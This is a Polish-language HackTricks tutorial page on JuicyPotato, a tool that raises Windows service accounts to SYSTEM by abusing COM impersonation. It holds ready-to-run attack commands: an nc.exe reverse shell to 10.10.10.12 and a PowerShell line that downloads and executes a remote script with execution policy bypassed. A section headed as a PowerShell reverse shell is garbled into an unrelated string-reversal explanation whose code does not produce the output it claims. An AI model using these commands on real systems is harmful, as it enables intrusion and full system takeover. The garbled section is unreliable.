hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md
2024-02-11 01:46:25 +00:00

11 KiB

JuicyPotato

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

{% hint style="warning" %} JuicyPotato nie działa na Windows Server 2019 i Windows 10 w wersji 1809 i nowszych. Jednak PrintSpoofer, RoguePotato, SharpEfsPotato można użyć do wykorzystania tych samych uprawnień i uzyskania dostępu na poziomie NT AUTHORITY\SYSTEM. Sprawdź: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (wykorzystywanie złotych uprawnień)

Wersja ulepszona RottenPotatoNG, z odrobiną soku, czyli narzędzie do eskalacji uprawnień lokalnych, od kont usług systemu Windows do NT AUTHORITY\SYSTEM

Możesz pobrać juicypotato z https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Podsumowanie

Z pliku Readme juicy-potato:

RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na usłudze BITS service, która ma nasłuch na 127.0.0.1:6666 i wymaga posiadania uprawnień SeImpersonate lub SeAssignPrimaryToken. Podczas przeglądu kompilacji systemu Windows natrafiliśmy na konfigurację, w której usługa BITS została celowo wyłączona, a port 6666 był zajęty.

Postanowiliśmy uzbroić RottenPotatoNG: Witajcie w świecie Juicy Potato.

Jeśli chcesz poznać teorię, zobacz Rotten Potato - Eskalacja uprawnień od kont usług do SYSTEMU i śledź łańcuch linków i odnośników.

Odkryliśmy, że oprócz BITS istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one po prostu:

  1. być instancjonowalne przez bieżącego użytkownika, zwykle "użytkownika usługi", który ma uprawnienia do impersonacji
  2. implementować interfejs IMarshal
  3. działać jako podniesiony użytkownik (SYSTEM, Administrator, ...)

Po przeprowadzeniu kilku testów uzyskaliśmy i przetestowaliśmy obszerną listę interesujących CLSID na kilku wersjach systemu Windows.

Szczegóły Juicy

JuicyPotato pozwala Ci:

  • Wybierz CLSID wybierz dowolny CLSID. Tutaj znajdziesz listę zorganizowaną według systemu operacyjnego.
  • Port nasłuchu COM zdefiniuj preferowany port nasłuchu COM (zamiast domyślnego 6666)
  • Adres IP nasłuchu COM powiąż serwer z dowolnym adresem IP
  • Tryb tworzenia procesu w zależności od uprawnień użytkownika, którego udaje się podrobić, możesz wybrać spośród:
  • CreateProcessWithToken (wymaga SeImpersonate)
  • CreateProcessAsUser (wymaga SeAssignPrimaryToken)
  • oba
  • Proces do uruchomienia uruchom wykonywalny plik lub skrypt, jeśli eksploatacja się powiedzie
  • Argumenty procesu dostosuj argumenty uruchamianego procesu
  • Adres serwera RPC dla dyskretnego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
  • Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się na zewnętrznym serwerze, a zapora blokuje port 135...
  • Tryb TESTOWY głównie do celów testowych, czyli testowania CLSID. Tworzy DCOM i wyświetla użytkownika tokenu. Zobacz tutaj, aby przetestować

Użycie

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Podsumowanie

Z pliku Readme juicy-potato:

Jeśli użytkownik ma uprawnienia SeImpersonate lub SeAssignPrimaryToken, to jesteś SYSTEMEM.

Prawie niemożliwe jest zapobieżenie nadużyciom wszystkich tych serwerów COM. Możesz rozważyć modyfikację uprawnień tych obiektów za pomocą DCOMCNFG, ale powodzenia, to będzie wyzwanie.

Rzeczywiste rozwiązanie polega na ochronie poufnych kont i aplikacji, które działają pod kontami * SERVICE. Zatrzymanie DCOM na pewno uniemożliwi wykorzystanie tej luki, ale może mieć poważny wpływ na system operacyjny.

Źródło: http://ohpe.it/juicy-potato/

Przykłady

Uwaga: Odwiedź tę stronę w celu uzyskania listy CLSID do wypróbowania.

Uzyskaj odwróconą powłokę nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Odwrócenie Powershell

Polecenie Powershell rev jest używane do odwracania ciągów znaków w języku Powershell. Może być przydatne podczas manipulacji danymi lub ukrywania informacji. Poniżej przedstawiono przykład użycia:

$ciag = "Hello World"
$odwroconyCiag = $ciag.ToCharArray() -join ""
$odwroconyCiag

Wynik:

dlroW olleH

Polecenie ToCharArray() konwertuje ciąg znaków na tablicę znaków, a operator -join łączy elementy tablicy w jeden ciąg znaków. W ten sposób uzyskujemy odwrócony ciąg znaków.

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Uruchom nowe CMD (jeśli masz dostęp RDP)

Problemy z CLSID

Często domyślny CLSID, który używa JuicyPotato, nie działa i atak nie udaje się. Zazwyczaj trzeba wielokrotnie próbować, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla określonego systemu operacyjnego, należy odwiedzić tę stronę:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Sprawdzanie CLSID

Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.

Pobierz Join-Object.ps1 i załaduj go do sesji PS, a następnie pobierz i wykonaj GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.

Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i go wykonaj. Rozpocznie on próbowanie każdego CLSID, a zmiana numeru portu oznacza, że CLSID zadziałał.

Sprawdź działające CLSID używając parametru -c

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!